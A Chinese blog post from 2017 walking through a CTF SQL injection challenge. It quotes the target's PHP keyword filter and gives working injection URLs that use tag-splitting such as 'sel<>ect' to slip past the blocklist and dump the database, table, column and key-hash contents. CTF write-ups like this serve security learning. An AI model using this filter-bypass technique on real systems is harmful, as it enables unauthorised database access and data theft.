可我浪费着我寒冷的年华

一次简单的ctf SQL注入绕过

注入地址:http://103.238.227.13:10087/index.php?id=1

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
	if (substr_count($id, $value) > 0)
	{
		exit('包含敏感关键字!'.$value);
	}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可见该过滤的都过滤了的。一般的绕过还真没办法。但是为防止XSS把<>之类的给过滤了。那么就有那么一个姿势sel<>ect如此便可以绕过。


 

爆数据库

http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1 unio<>n sele<>ct 1,database()#

爆表

http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1+unio<>n+sele<>ct+1,concat(group_concat(distinct+tab<>le_name))+fro<>m+info<>rmation_schema.ta<>bles+where+ta<>ble_schema=0x73716C33--#

爆列

http://103.238.227.13:10087/index.php?id=-1+uni<>on+sele<>ct+concat(group_concat(distinct+col<>umn_name)),2+f<>rom+info<>rmation_sc<>hema.colu<>m<>ns+where+tab<>le_schema=0x73716C33#+

爆内容

http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m sql3.key#


重点是最后的sql3.key有个坑。按照平常是直接:

http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m key#

但是这样是不行的。

原因其实挺简单的这里是CTF的套路。这不知道还真以为是什么。

 

如上图所示,其实他本身的SQL语句类似:select * from sql3.key where id = 1

他前面使用的是sql3.key也就是说他并没有use所以你直接select * from sql3.key where id =1 union select 1,2 from key是不行的。因为他没有使用sql3这个数据库(但是执行union select 1,database()的时候还是可以显示sql3这个数据库出来的)所以key根本不存在。自然也就不行!感谢米哥指导。太机智了。真心佩服出题人。真想对他说。老子真的服了U

 

posted @ 2017-10-19 16:13  珍惜少年时  阅读(7468)  评论(0编辑  收藏  举报
可我浪费着我寒冷的年华